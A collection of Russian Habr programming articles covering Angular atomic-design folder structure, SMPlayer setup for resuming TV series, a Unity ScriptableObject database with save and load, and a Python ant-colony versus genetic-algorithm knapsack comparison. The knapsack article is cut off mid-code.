Структура каталогов при атомарном дизайне в AngularОписывая компоненты, разработчики на Angular часто применяют концепцию [*«контейнер — презентатор»*](https://blog.angular-university.io/angular-component-design-how-to-avoid-custom-event-bubbling-and-extraneous-properties-in-the-local-component-tree/) (она же «умный компонент — глупый компонент»). Таким образом можно легко и просто пояснять зависимости и описывать, как компоненты взаимодействуют друг с другом, не заостряя внимание на особенностях реализации пользовательского интерфейса.
В качестве «глупого» компонента может выступать что угодно — от кнопки до макета. С помощью атомарного дизайна можно дополнить определение компонента подробной информацией о структуре пользовательского интерфейса и взаимосвязях.
**Атомы и молекулы — «глупые» компоненты**
Это простые по сути и удобные в тестировании фрагменты кода, которые могут использоваться многократно. Они получают данные на входе (@Input) и могут что-то выдавать на выходе (@Output). Следовательно, они идеально подойдут для описания библиотек пользовательского интерфейса.
* **Атомы** — самые крохотные модули, многократно применяемые во всем проекте. Обычно представляют собой одиночный HTML-элемент с базовым стилем.
* **Молекулы** — отдельная группа атомов.
**Организмы и шаблоны — простое представление «умных» компонентов**
Шаблоны помогают сократить объемы типового HTML-кода, упрощая «умные» компоненты, а организмы являются их аналогом для TypeScript.
Исходя из своего опыта ведения проектов, могу сказать, что организмы и шаблоны редко применяются на практике, хоть они и являются залогом масштабируемости приложений и эффективной работы команды.
А все дело в том, что их необходимость осознаешь тогда, когда уже поздно. Проектируя сложный «умный» компонент, мы изначально рассматриваем его как единое целое. Мы создаем полную страницу, постепенно добавляя небольшие фрагменты кода. И тут внезапно этот «умный» компонент раздувается до пятисот строк TypeScript и тысячи строк HTML-CSS. В получившемся болоте каждый последующий шаг дается сложнее, чем предыдущий. Даже если логика простая, с файлом трудно обращаться из-за его размеров.
Шаблоны и организмы убирают в коде «шум», структурируют код и обеспечивают его масштабируемость. Таким образом, становится проще находить и повторно использовать нужные фрагменты кода, разрабатывая схожий функционал.
#### Шаблоны
Рассматривайте шаблоны как ***скаффолды и скины*** компонентов. Обычный код HTML-CSS с элементом `ng-content`.
Шаблоны используются в высокоуровневых компонентах (*таких как страницы или организмы*), чтобы снизить вариативность стиля и уменьшить количество типового HTML-кода. У таких компонентов не должно быть никаких входных или выходных данных, логики и зависимостей от конструктора.
Давайте рассмотрим простой пример:
Компонент-шаблон, который группирует типовой код оберток наряду со стилем и не обладает логикой.
Страница или «умный» компонент на основе компонента-шаблона. В нем нет стилей, но он управляет логикой.Такой подход оправдывает себя не только в отношении небольших фрагментов кода, таких как карточки в Angular Material, но и для макетов на всю ширину экрана. Он полезен в ситуациях, когда не удается обойтись одним компонентом макета с элементом `router-outlet` или когда нужно разбить код на фрагменты. Как только вы стабилизируете первоначальный код, его рефакторинг под использование шаблонов сводится к простым операциям «копировать/вставить» и занимает всего несколько минут.
#### Организмы
Это относительно сложная группа молекул, которая ведет себя как один модуль. [На сайте Брэда](https://atomicdesign.bradfrost.com/chapter-2/) в качестве примера организма приводится заголовок страницы.
На мой взгляд, такой подход предлагает большую функциональность, чем структурный. Я рассматриваю организмы как некие виджеты. Обособленные участки приложения можно повторно использовать на разных страницах и заключать в них определенную логику.
Это «умные» или «глупые» компоненты?Однозначного правила в этом отношении нет. Я предпочитаю по возможности собирать все зависимости от сервисов и логику в странице/контроллере. Но имея дело со сложными страницами, иногда разумнее структурировать их как макет и разнести логику на несколько дочерних компонентов-организмов, имеющих собственные зависимости.
#### Страницы — «умные» компоненты
В общем случае считаются *функциональными компонентами* в рамках классической структуры проекта типа *core/features/shared* (базовые модули / функциональные компоненты / общие компоненты). «Умные» компоненты управляют входами/выходами, взаимодействующими с базовыми модулями приложения через сервисы.
---
> Перевод подготовлен в рамках курса [**"JavaScript Developer. Professional".**](https://otus.pw/jKbg/)
>
> Всех желающих приглашаем на открытый урок ["Async Patterns в JavaScript"](https://otus.pw/9EoZ/). На этом занятии разберем асинхронное программирование в JavaScript, функцию обратного вызова в программировании, функции map, reduce и многое другое. Присоединяйтесь!
>
>
|
https://habr.com/ru/post/560208/
| null |
ru
| null |
# Смотрим сериалы!
Смотрим сериалы
===============
 Как то давно, уж не знаю как, мы с женой начали перед сном смотреть эпопею [«Star Trek»](http://ru.wikipedia.org/wiki/Звёздный_путь "Star Trek") (за что спасибо сайту [Russian Sci-Fi Drive](http://rsfdrive.com/)), а когда он кончился, начался [“Farsacpe»](http://ru.wikipedia.org/wiki/Farscape).
Но находясь на диване, очень не удобно искать, какую же серию ты (недо)смотрел вчера.
Захотелось как-то автоматизировать процесс, причем максимально. В идеале — клинул мышкой — начал смотреть. Кликнул «дальше» — следующая серия (дабы титры не смотреть). Кликнул — закрыть, и на завтра — с того же места.
##### Итак, требования были такие:
1. Режим «fullscreen» по-умолчанию
2. Запоминание места, на котором закончилось воспроизведение
3. Воспроизведение по списку
4. Возможность быстро перепрыгнуть титры в начале
### SMPlayer
Вообще я пользуюсь разными плеерами, Winamp и Foobar для музыки, BSPlayer (давным-давно), MPC, VLC (в тяжелых случаях), SMPlayer — для видео. Как раз последним я пользовался, смотря «Звездный путь». Именно по этому начал пробовать тюнить его.
### Настройка
SMPlayer это фронт-энд для плеера mplayer, причем написаный на QT, a значит статья может помочь и линуксоидам.
Т.к. дома я пользуюсь Win платформой, тут и далее настройки SMPlayer под Windows.
Второй пункт SMPlayer умеет «из коробки», т.е. с запоминанием места проблем нет. Однако у меня плейлист (который в целом, тоже запоминается) с сериалом… Однако, открытие любого другого файла в SMPlayer заменяет запомненный плейлист. Гугление показало, что вообще мало кто умеет запоминать *позицию* в плейлисте.
Т.о., чтобы не портить запомненный плейлист, надо этот плейлист передавать в плеер. Но в этом случае никак не выполняется третьего пункта, ибо плейлист всегда воспроизводится сначала. В общем, все умерли.
Выход виделся следующим — для сериала надо использовать свой файл с настройками, благо SMPlayer хранит их в файле.
На сайте SMPlayer я нашел ключи командной строки, которые сделали свое дело.
В итоге я сделал ярлык для SMPlayer, в котором прописал следующие параметры:
`-config-path "e:\movies\farscape" -fullscreen -actions pl\_play`
Папка с конфигами — там же, где и сериал, стартовать в полноэкранном режиме, и запустить проигрывание плейлиста.
Ларчик открылся очень просто:)
Теперь я могу смотреть сериал с того места, где остановился. Осталось пара штрихов — четвертый пункт требований.
Тут все просто — SMPlayer можно настроить так, как тебе нужно — об этом [уже писали](http://wiselord.habrahabr.ru/blog/69295/).
Я сделал кнопки перехода на следующий файл в плейлисте, и скип 10 секунд (для перепрыгивания титров).
Позже, для удобства, я настроил через AutoHotKey похожие действия для мышки (все равно подправленный скрипт [UAWKS](http://code.google.com/p/uawks/) для моей [беспроводной клавиатуры](http://www.apple.com/keyboard/) всегда запущен):
* клик ПКМ при нажатой ЛКМ — прыжок вперед на 5 секунд
* клик ЛКМ при нажатой правой — прыжок назад на 5 секунд
* Скролл при нажатой ПКМ — уменьшение\увеличение скорости воспроизведения
Для тех, кто не знал — mplayer умеет воспроизводить звук без т.н. «пинч» эффекта, т.о. некоторые фильмы я смотрю со скоростью до 1.5 (150%), тем самым экономя время, а простым кликом перепрыгиваю 5–10–15 секунд в какой-либо затянувшейся сцены, или так же назад, если что-то не расслышал.
P.S. Думаю сделать так же с аудио книжками, но слушать книжку в SMPlayer как то не очень красиво… Может кто-то знает, как подружить Foobar или WinAmp с запоминанием места в плейлисте? Сдается мне, Winamp тоже можно запускать с «другим» инишником…
|
https://habr.com/ru/post/74712/
| null |
ru
| null |
# База данных на ScriptableObject c системой сейва/загрузки
### Введение
В каждой игре есть данные, с которыми работают гейм-дизайнеры. В рпг — это база данных айтемов, в матч-3 — стоимость в кристаллах инструментов из магазина, в экшенах — количество хп, на которое лечит аптечка.
Для хранения таких данных существует много способов — кто-то хранит их в таблицах, в xml или json файлах, которые редактируют собственными инструментами. Unity предоставляет свой способ — Scriptable Objects (SO), которые мне нравится тем, что для их визуального представления не нужно писать свой редактор, легко делать ссылки на ассеты игры и друг на друга, а с появлением Addressables эти данные можно легко и удобно хранить вне игры и обновлять отдельно.
В этой статье я хотел бы рассказать о своей библиотеке SODatabase, с помощью которой можно удобно создавать, редактировать и использовать в игре (редактировать и сериализовать) scriptable objects.
### Создание и редактирование SO
Создание и редактирование SOшек я веду в отдельном окне, которое чем-то похоже на окна проекта с инспектором — слева находится дерево папок (папка, в которой находятся все SOшки — группа в addressables), а справа — инспектор выделенной SOшки.
Для отрисовки такого WindowEditor’а я использую библиотеку [Odin Inspector](https://odininspector.com/). Кроме того, я использую сериализацию для SO из этой библиотеки — она значительно расширяет стандартную юнитиевскую сериализацию, позволяя хранить полиморфные классы, глубокую вложенность, ссылки на классы.
Создание новых SO происходит через нажатие кнопки в этом окне — там нужно выбрать тип нужной сошки, и она создаётся в папке. Для того, чтобы тип SO появился в этом окне в качестве варианта, SO должен наследоваться от DataNode, который имеет лишь одно дополнительное поле к ScriptableObject
```
public string FullPath { get; }
```
Это путь к данной SO, с помощью которого к ней можно будет обратиться в рантайме.
### Доступ к SO в игре
В рантайме обычно нужно либо получить какую-то конкретную модель, например, SO со списком настроек какого-либо окна, либо набор моделей из папки — например, список айтемов, где модель каждого айтема представляет собой отдельный SO.
Для этого в static классе SODatabase есть два основных метода, которые возвращают либо весь список моделей из нужной папки, либо конкретную модель из папки с определённым именем.
```
public static T GetModel(string path) where T : DataNode
public static List GetModels(string path, bool includeSubFolders = false) where T : DataNode
```
Уточню, что один раз в начале игры перед запросом моделей SODatabase нужно проинициализировать, чтобы обновились и прогрузились данные из Addressables.
### Загрузка и сохранение
Один из недостатков ScriptableObject по сравнению с хранением данных с сериализацией в собственном формате является то, что в них нельзя записывать данные из игры в рантайме. То есть по сути ScriptableObject предназначены для хранения статичных данных. Но любой игре нужна загрузка и сохранение, и я реализую это через те же самые SO из базы данных.
Возможно это не идиоматичный способ — совмещать базу статичных моделей игры с загрузкой и сохранением динамических данных, но в моём опыте ещё ни разу не было случая, когда это создало бы какие-то неудобства, но при этом есть ряд ощутимых плюсов. Например, с помощью тех же инспекторов SOшек можно смотреть игровые данные в эдиторе и менять их. Можно удобно загружать сейвы игроков, смотреть их содержимое и редактировать в unity, не используя никаких внешних утилит и собственных редакторов для визуализации xml или других форматов.
Я достигаю этого, сериализуя динамические поля в ScriptableObject с помощью JSON.
Класс *DataNode* — родительский класс всех SO, хранящихся в *SODatabase*, помечен как
```
[JsonObject(MemberSerialization.OptIn, IsReference = true)]
```
и все его *JsonProperty* сериализуются в файл save.txt при сохранении игры. Соответственно при инициализации *SODatabase* кроме запроса данных об изменении addressables происходит *JsonConvert.PopulateObject* для каждой динамической модели из *SODatabase*, используя данные из этого файла.
Для того, чтобы это работало гладко, я сериализую ссылки на SO (которые могут являтся динамическими полями, помеченными как JsonProperty) в строку-путь, и потом десериализую обратно в ссылки на SO при загрузке. Есть ограничение — данные на игровые ассеты динамическими быть не могут. Но это не фундаментальное ограничение, просто у меня ещё не было случая, когда такие динамические данные потребовались бы, поэтому я не реализовывал специальную сериализацию для таких данных.
### Примеры
В классе-стартере игры инициализация и загрузка данных
```
async void Awake()
{
await SODatabase.InitAsync(null, null);
await SODatabase.LoadAsync();
}
```
и сохранение стейта при выходе
```
private void OnApplicationPause(bool pauseStatus)
{
if (pauseStatus)
SODatabase.Save();
}
private void OnApplicationQuit()
{
SODatabase.Save();
}
```
В рпг для хранения информации об игроке я прямо создаю *PlayerSO*, в котором одни только динамические поля — имя, количество экспы игрока, кристаллов и так далее. Также хорошей практикой по-моему является создание статической строки с путём, по которому я сохраняю данную модель в SODatabase, чтобы потом обращаться к ней в рантайме.
```
public class PlayerSO : DataNode
{
public static string Path => "PlayerInfo/Player";
[JsonProperty]
public string Title = string.Empty;
[JsonProperty]
public int Experience;
}
```
Точно также для инвентаря игрока я создаю *PlayerInventorySO*, где храню список ссылок на айтемы игрока (каждый айтем представляет собой ссылку на статичный SO из SODatabase).
```
public class PlayerInventorySO : DataNode
{
public static string Path => "PlayerInfo/PlayerInventory";
[JsonProperty]
public List Items = new List();
}
```
Бывают наполовину статические, наполовину динамические данные — например, квесты. Возможно, это не лучший подход, но я прямо в моделях *QuestSO* со статической информацией о квестах (название, описание, цели и т.д.) храню динамическую информацию по прогрессу в этом квесте. Таким образом гейм-дизайнер в одном инспекторе видит всю инфу о текущем состоянии квеста и его описание.
```
public class QuestNode : BaseNode
{
public static string Path = "QuestNodes";
//Editor
public virtual string Title { get; } = string.Empty;
public virtual string Description { get; } = string.Empty;
public int TargetCount;
//Runtime
[JsonProperty]
private bool finished;
public bool Finished
{
get => finished;
set => finished = value;
}
}
```
Вообще, лучше поля с JsonProperty делать приватными, чтобы SO их не сериализовал.
Доступ к этим данным выглядит следующим образом
```
var playerSO = SODatabase.GetModel(PlayerSO.Path);
var playerInventorySO = SODatabase.GetModel(PlayerInventorySO.Path);
var questNodes = SODatabase.GetModels(QuestNode.Path, true);
```
### Текущее состояние библиотеки
В продакшене несколько лет использовался прообраз этой библиотеки — в ней аналогичное окно-проводник для создания/редактирования моделей, которые содержали статичные и динамические данные, но все эти модели не использовали SO, а были целиком в json. Из-за этого для каждой модели приходилось писать свой эдитор вручную, ссылки моделей друг на друга и игровые ассеты(спрайты и т.д.) делались довольно неудобными способами. Переход на SO совершён в прошлом году, и пока всего одна игра с SODatabase ушла в релиз, но в ней не использовались Addressables.
На addressables я перешёл совсем недавно для использования в текущем проекте (на разработку которой [я ищу в команду второго программиста](https://gamedev.ru/projects/forum/?id=254030) в партнёры). В данный момент идёт активное допиливание этой библиотеки под нужды этой игры.
[Библиотека лежит в открытом доступе на github](https://github.com/NuclearBand/UnityScriptableObjectDatabase). Написана с использованием Nullable из c# 8, соответственно требует Unity 2020.1.4 в качестве минимальной версии.
|
https://habr.com/ru/post/519078/
| null |
ru
| null |
# «Эволюция против муравьёв» сравниваем алгоритмы оптимизации
Решаем задачу о ранце. Муравьиный алгоритм или генетический лучше? Давайте разбираться.
Изображения сгенерированы при помощи ruDALL-E XL Муравьиный алгоритм — один из общепризнанных в математической среде лидеров по нахождению решения для задачи коммивояжёра (поиска оптимального пути). С другой стороны, существуют другие, более гибкие методы, один из которых — эволюционный. Какой же алгоритм окажется лучше, если столкнуть их в задаче менее свойственной для муравьиного алгоритма — задаче о ранце.
Задача о ранце или knapsack problem — одна из классических задач оптимизации, завязанная на необходимости найти оптимальный набор таких действий, которые позволят максимизировать одни параметры при соблюдении ограничения других. Сложно? Проще на примерах.
Приходя в супермаркет мы чаще всего решаем: «Чего бы такого купить, чтобы можно было целую неделю не кататься через половину города ради шопинга, но при этом не оставить там всей зарплаты?» Или, допустим, вы выбираете, как удачно вложить свои кровно нажитые. Заходите в мобильное приложение любого банка, и глаза разбегаются от предложений вложить деньги. А наши средства к глубокому сожалению не бесконечны. Вы возможно думаете, что ходите за покупками или решаете, куда вложить деньги? Нет, это не так. То есть, конечно, так – обдумываете свой выбор. Но в целом вы решаете одну и ту же задачу — knapsack problem.
Подытожим: у вас есть некоторый набор предметов, которые имеют минимум два условных параметра — вес и ценность. Ранец, в который вы помещаете предметы, имеет ограничение по весу. Необходимо выбрать предметы с максимальной ценностью, которые могут уместиться в рюкзаке.
Чтобы найти оптимальные решения для этой и прочих подобных задач существует достаточное количество разных подходов и алгоритмов. Наиболее простые, но от того не менее интересные — муравьиный и эволюционный алгоритмы.
Первый основан на поведении колонии муравьёв при добыче ими пищи. В паре слов, можно описать идею алгоритма так: каждый обособленный муравей случайным образом двигается от одного источника пищи к другому, оставляя за собой на протяжении всего пути след из феромонов, который влияет на выбор других муравьёв при выборе пути. Таким образом, чем больше феромонов, тем выше вероятность выбора той или иной дороги. Сразу же напрашивается задача поиска пути, в которой муравьиный алгоритм стабильно показывает хорошие результаты, опережая как раз таки эволюционный. Проблема заключается в том, что алгоритм подразумевает под собой нахождение последовательности предметов, хотя на самом деле нам нет разницы в каком порядке складывать предметы в ранец - главное, чтобы сумка выдержала. Поэтому вместо нахождения пути от одного предмета к другому будем смотреть на муравья, как на обычного клиента банка, такого «инвестора», который выбирает, во что ему вложить свои деньги.
Эволюционный или генетический алгоритм завязан на процессе естественного отбора, в котором наиболее приспособленные особи продолжают жить и оставляют потомство, которое будет ещё более развитым, чем их предки.
Хватит с погружением в теорию — перейдём к коду!
Для обоих алгоритмов обратимся к ООП. В муравьином алгоритме будут классы Investment, Ant и AntAlgorithm. Investment — это обёртка для нашего предмета из ранца, в которой будет храниться стоимость инвестиции (или вложение, которое совершит муравей), доход от нашей инвестиции (вес предмета), количество феромона и id.
```
class Investment:
def __init__(self, id, cost, profit):
self._id = id
self._cost = cost
self._profit = profit
self._pheromone = 1.0
```
Ant — это тот самый муравей, который помнит, сколько он может вложить (вместимость рюкзака), сколько денег он уже вложил, свой доход (суммарная ценность всех выбранных муравьём предметов) и непосредственно сам набор этих предметов (или портфель инвестиций).
```
мclass Ant:
def __init__(self, max_cost):
self._max_cost = max_cost
self._cost = 0
self._profit = 0
self._portfolio = []
```
И непосредственно сам алгоритм мы реализуем в классе AntAlgorithm.
```
class AntAlgorithm:
def __init__(self, count_ants, count_iteration, max_ant_cost, items, evaporation_coefficient):
self._count_ants = count_ants
self._count_iteration = count_iteration
self._max_ant_cost = max_ant_cost
self._items = items
self._evaporation_coefficient = evaporation_coefficient
```
Алгоритму мы будем передавать количество муравьёв и итераций алгоритма, вместимость рюкзака (она же максимальная суммарная стоимость инвестиций муравья), список предметов (веса, ценности и первоначальный id каждого из них) и коэффициент испарения.
«Подождите, что за коэффициент испарения?» - спросите вы. Самое время рассказать об одной из главных проблем при создании методов оптимизации. Если муравей будет ходить длинным путём до еды, то он будет расходовать весь свой феромон на протяжении всего этого длинного пути. От этого его насыщенность будет ниже, чем на более коротком пути до «блюда», из-за чего следующие муравьи с большей вероятностью будут выбирать более короткий путь. В свою очередь феромон не остаётся на дороге постоянно и в течение времени испаряется. И испаряется он тем сильнее, чем продолжительнее путь. Так решается проблема сходимости. Благодаря испарению, алгоритм начинает сходиться к конкретному решению, на котором остаётся феромона в несколько раз больше, чем на других путях.
Но не забываем! Мы уже не муравьи, ищущие дорогу до пищи, мы муравьи-инвесторы, которые выбирают такие вложения, чтобы заработать побольше, а заплатить при этом поменьше! Поэтому выбирать наш алгоритм будет не просто предмет, стоимость которого ниже, но ещё и доход в котором выше, т.е. отношение ценности к весу больше.
Выбирать инвестиции муравей будет по формуле:
После того, как муравей выберет «вклады», он должен оставить феромон на тех, которые он выбрал по формуле:
Казалось бы, так вот и всё решение — просто выбрать предметы с самым высоким отношением дохода к стоимости, соблюдая ограничение рюкзака. Бинго! Но не всё так просто. Часто в ходе поиска лучшего решения задачи, алгоритмы попадают в локальные максимумы — такие решения, которые лучше соседних, но не являются оптимальным для нашего набора данных. Поэтому необходимо не попадать в такие локальные максимумы, либо выходить из них и искать другие решения. Для этого в муравьином алгоритме часто вводят так называемых «элитных муравьёв» — такие наборы, которые позволяют корректировать движение всех остальных муравьёв путём увеличения за свой счёт количества феромонов на определённых путях. Такие муравьи помогают и увеличить сходимость, и не попасть в наиболее очевидные локальные максимумы.
Теперь попробуем реализовать основную функцию в классе алгоритма. Назовём её WolfWallStreet
```
def WolfWallStreet (self):
```
В нём создаём список всех вкладов.
```
inventory = []
i = 0
while (i < len(self._items[0])):
inventory.append(Investment(self._items[2][i], self._items[0][i], self._items[1][i]))
i += 1
```
Инициализируем будущего «элитного муравья» и организуем цикл по количеству итераций алгоритма.
```
i = 0
best_ant = Ant(self._max_ant_cost)
while (self._count_iteration > i):
```
Введём переменную sum для той самой суммы
 из формулы и рассчитаем её. Делать это нам нужно каждую итерацию для перерасчёта вероятностей выбора предметов.
```
sum = 0
j = 0
while (j < len(inventory)):
sum += (inventory[j].pheromone ** P) * ((inventory[j].profit / inventory[j].cost) ** Q)
j += 1
```
И непосредственно рассчитаем вероятности.
```
j = 1
investment_probability = []
investment_probability.append((inventory[0].pheromone ** P) * ((inventory[0].profit / inventory[0].cost) ** Q) / sum)
while (j < len(inventory)):
investment_probability.append(
investment_probability[j - 1] + ((inventory[j].pheromone ** P) * (((inventory[j].profit / inventory[j].cost) ** Q) / sum)))
j += 1
```
Теперь поработаем над тем, чтобы наш муравей выбрал свои предметы. Для этого в классе Ant «соберём его портфель».
```
def BuildPortfolio(self, investment_probability, inventory):
min_cost_investment = inventory[0].cost # Вклад с минимальой стоимостью
min_cost_iter = 0 # Итератор вклада с минимальой стоимостью
investment_availability = [1] * len(inventory) # Список значений наличия вклада
while ((self._max_cost - self._cost) >= min_cost _investment):
rand = random.random()# Выбираем случайное число
k = 0
while (k < (len(inventory))):
if ((investment_probability[k] >= rand) & ((investment_availability[k] == 0) | ((self._max_cost - self._cost) < inventory[k].cost))):
break # Если вклад мы уже выбирали для этого муравья
if ((investment_probability[k] >= rand) & (investment_availability[k] == 1) & ((self._max_cost - self._cost) >= inventory[k].cost)): # Нашли блюдо
investment_availability[k] = 0 # Обнуляем индикатор вклада
self._portfolio.append(inventory[k]) # Добавляем в «портфель»
self._cost += inventory[k].cost # Повышаем сумму стоимости
self._profit += inventory[k].profit # И дохода
if (k == min_cost _iter): # Если найденный вклад оказалось вкладом с наименьшей стоимостью — ищем следующий доступный вклад
investment_availability[min_cost_iter] = 0
min_cost_iter = next((j for j, x in enumerate(investment_availability) if x), None)
if (min_cost_iter != None):
min_cost_investment = inventory[min_cost_iter].cost
else:
break
break
k += 1
return self
```
Теперь, когда наши муравьи научились собирать свои инвестиционные портфели, пора запускать колонию на заработки. Возвращаемся в класс AntAlgorithm и набираем популяцию муравьёв; параллельно выбираем из созданных муравьёв того самого элитного.
```
j = 0
ant_population = []
while (self._count_ants > j):
ant_population.append(Ant(self._max_ant_cost).BuildPortfolio(investment_probability, inventory))
if (best_ant.profit < ant_population[j].profit):
best_ant = ant_population[j]
j += 1
```
Муравьи выбрали вклады, элитный муравей выбран, осталось дать обратную связь — оставить феромон. Логика распределения феромона проста: чем больше вклад приносит дохода и чем меньше тратит при этом, тем большую часть феромона оставляем на нём. Также сравниваем количество еды с элитным муравьём, чтобы больше феромона оставалось на тех вкладах, которые были выбраны в лучшем на данный момент решении.
```
while (self._count_ants > j):
sum_function = 0 # Переменная для подсчёта суммы отношений выгоды к затратам
y = 0
while (y < len(ant_population[j].portfolio)):
sum_function += ant_population[j].portfolio[y].profit / ant_population[j].portfolio[y].cost
y += 1
y = 0
pheromone_coefficient = ant_population[j].profit / best_ant.profit # Сравниваем выгоду портфеля муравья с выгодой инвестиций элитного
while (y < len(ant_population[j].portfolio)):
inventory[ant_population[j].portfolio[y].id].pheromone += pheromone_coefficient / sum_function * (inventory[
ant_population[j].portfolio[y].id].profit / inventory[ant_population[j].portfolio[y].id].cost) # Добавляем вкладу феромон
y += 1
j += 1
```
Будем использовать элитных муравьёв для увеличения количества феромона на выбранных ими вкладах. Для этого также подсчитываем сумму отношений
```
j = 0
while (j < len(best_ant.portfolio)):
sum_function += best_ant.portfolio[j].profit / best_ant.portfolio[j].cost
j += 1
```
и добавим феромон.
```
j = 0
while (j < len(best_ant.portfolio)):
inventory [best_ant.portfolio[j].id].pheromone += i * sum_function * \
(inventory [best_ant.portfolio[j].id].profit / inventory[best_ant.portfolio[j].id].cost)
j += 1
```
И последний шаг итерации — испарение феромона.
 увеличение происходило в ходе итерации, поэтому осталось только умножить на
```
j = 0
while (len(inventory) > j):
inventory[j].pheromone = (1 - self._evaporation_coefficient) * inventory[j].pheromone
j += 1
```
Заканчиваем итерацию и возвращаем результат работы алгоритма, которым будет последний полученный элитный муравей.
```
i += 1
best_ant.ShowMeYourPortfolio ()
result = [best_ant.cost, best_ant.profit, best_ant. InvestmentsToItems()]
return result
```
Функции ShowMeYourPortfolio и InvestmentsToItems реализуем в классе Ant для красивого вывода и для преобразования объектов типа Investment обратно в листы.
```
def ShowMeYourPorttfolio(self):
portfolio_id = '[ '
i = 0
while (len(self._portfolio) > i):
portfolio_id = portfolio_id + str(self._portfolio[i].id) + ' '
i += 1
portfolio_id = portfolio_id + ']'
print(f'weight = {self._cost } value = {self._profit} {portfolio_id}')
def InvestmentsToItems(self):
i = 0
items = []
while (len(self._portfolio) > i):
items.append(self._portfolio[i].id)
i += 1
return items
```
И наконец уже можно увидеть результаты наших трудов. В main зададим список для наших параметров веса, ценности и первоначального id. Список сразу отсортируем по возрастанию веса.
```
items = [[1, 3, 4, 4, 5, 5, 6, 7, 8, 10, 12, 17], # вес
[6, 2, 4, 10, 5, 17, 13, 9, 7, 16, 25, 33], # ценность
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11]] # id
```
и вызовем функцию.
```
AntAlgorithm(COUNTANTS, COUNTITERATIONFORANTS, MAXWEIGHTKNAPSACK, items,
EVAPORATIONCOEFFICIENT).WolfWallStreet()
```
Советую все коэффициенты держать в виде констант.
```
MAXWEIGHTKNAPSACK = 30
COUNTANTS = 5000
COUNTITERATIONFORANTS = 30
EVAPORATIONCOEFFICIENT = 0.08
```
На тестовых данных алгоритм без проблем находит лучший вариант.
```
weight = 28 value = 71 [ 0 3 5 6 10 ]
```
Перейдём к бойцу на другом конце ринга — генетическому алгоритму.
Для алгоритма также реализуем 3 класса: EvolutionAlgorithm, Genotype, Gene. Gene это подобие Investment, но без феромона.
```
class Gene:
def __init__(self, id, weight, value):
self._id = id
self._weight = weight
self._value = value
```
Genotype — это набор этих генов, некоторая особь, которая хранит в себе помимо списка генов, максимальный возможный вес, текущий вес и стоимость.
```
class Genotype:
def __init__(self, maxWeight):
self._genes = []
self._maxWeight = maxWeight
self._weight = 0
self._value = 0
```
Реализуем сразу и вывод.
```
def GenesToItems(self):
i = 0
items = []
while (len(self._genes) > i):
items.append(self._genes[i].id)
i += 1
return items
def ShowMeYourGenes(self):
genesId = '[ '
i = 0
while (len(self._genes) > i):
genesId = genesId + str(self._genes[i].id) + ' '
i += 1
genesId = genesId + ']'
```
В эволюционном алгоритме мы работаем не с каждым конкретным геном, а с целыми цепочками, генотипами, которые в ходе естественного отбора на каждой итерации алгоритма проходят этапы селекции, размножения и мутации. Поэтому появление генов в каждой особи равновероятно.
```
def Born(self, genes):
minWeightGenes = genes[0].weight # Gene с минимальным весом
minWeightIter = 0
geneAvailability = [1] * len(genes) # Список доступности Gene
probability = 1/len(genes) # Вероятность выбора Gene
while ((self._maxWeight - self._weight) >= minWeightGenes):
i = int(random.random()/probability) # Выбираем случайный Gene
if ((geneAvailability[i] == 1) & ((self._maxWeight - self._weight) >= genes[i].weight)): # Проверяем его наличие
geneAvailability[i] = 0 # Обнуляем значение в листе, если ген нам подходит
self._genes.append(genes[i]) # Добавляем в генотип ген
self._weight += genes[i].weight # Увеличиваем значение веса
self._value += genes[i].value # И стоимости
if (i == minWeightIter): # Если найденный ген – минимальный, выбираем следующий минимальный
geneAvailability[minWeightIter] = 0
minWeightIter = next((j for j, x in enumerate(geneAvailability) if x), None)
if(minWeightIter != None):
minWeightGenes = genes[minWeightIter].weight
else:
break
return self
```
Переходим к алгоритму. Класс EvolutionAlgorithm содержит в себе информацию о начальной популяции, количестве итераций, коэффициент селекции, коэффициент репродукции, коэффициент мутации, список предметов и максимальной вместимости рюкзака.
```
class EvolutionAlgorithm:
def __init__(self, countFirstGeneration, countIteration, countSelection, countReproduction, countMutation, items, maxGenotypeWeight):
self._countFirstGeneration = countFirstGeneration
self._countIteration = countIteration
self._countSelection = countSelection
self._countReproduction = countReproduction
self._countMutation = countMutation
self._items = items
self._maxGenotypeWeight = maxGenotypeWeight
self._genes = []
```
Для начала создадим начальную популяцию.
```
def TheEvolutionBegins(self):
self._genes = TransformationGenes(self._items)
population = []
while (len(population) < self._countFirstGeneration):
population.append(Genotype(self._maxGenotypeWeight).Born(self._genes))
```
Селекция — процесс вымирания наименее приспособленных особей. Приспособленность той или иной особи мы выбираем по value. Чем выше value, тем лучше. Можно придумать достаточно большое количество типов реализации как селекции, так и размножения с мутацией, но в этот раз разберём наиболее простые из реализованных. В селекции остановимся на турнирной — будем случайным образом из популяции выбирать две особи и из них выбирать ту, у которой value выше.
```
Селекция — процесс вымирания наименее приспособленных особей. Приспособленность той или иной особи мы выбираем по value. Чем выше value, тем лучше. Можно придумать достаточно большое количество типов реализации как селекции, так и размножения с мутацией, но в этот раз разберём наиболее простые из реализованных. В селекции остановимся на турнирной — будем случайным образом из популяции выбирать две особи и из них выбирать ту, у которой value выше.
```
Каждый вид селекции, размножения и мутации реализуем отдельной функцией в классе EvolutionAlgorithm.
```
def TournamentSel(self, population, countAlive):
newPopulation = [] # Пустой list для новой популяции
genotypeAvailability = [1] * len(population) # Список доступности популяции
probability = 1/len(population) # Вероятность выбора особи для отбора
i = 0
while (i < countAlive):
first = int(random.random() / probability) # Индекс первого кандидата на выживание
second = int(random.random() / probability) ) # Индекс второго кандидата на выживание
if ((first != second)&(genotypeAvailability[first] == 1)&(genotypeAvailability[second] == 1)):
if (population[first].value >= population[second].value):
genotypeAvailability[first] = 0
newPopulation.append(population[first])
if (population[first].value < population[second].value):
genotypeAvailability[second] = 0
newPopulation.append(population[second])
i += 1
return newPopulation
```
После селекции идёт размножение или скрещивание.
```
parentAvailability = [1] * len(population) ) # Список доступности популяции
countChildren = int(self._countReproduction * len(population) / 2) # Количество новых особей, полученных в ходе репродукции
population = EvolutionAlgorithm.PanmixiaRep(self, population, parentAvailability, countChildren)
```
Берутся 2 особи и определённым образом образуют новую особь в популяции, в качестве генов для которой выступают только наборы «родителей». В зависимости от задачи можно каким-то конкретным способом как выбирать родителей, так и их гены, но мы выберем наиболее простой — панмиксии (выбор родителя равновероятен).
```
def PanmixiaRep(self, population, parentAvailability, countChildren):
i = 0
parentProbability = [] # Список вероятностей выбора особи для спаривания
probability = 1 / len(population) # Вероятность
for i in parentProbability:
i = probability * (i + 1) # Распределение вероятностей
while (i < countChildren):
firstParent = int(random.random()/probability) # Выбираем первого
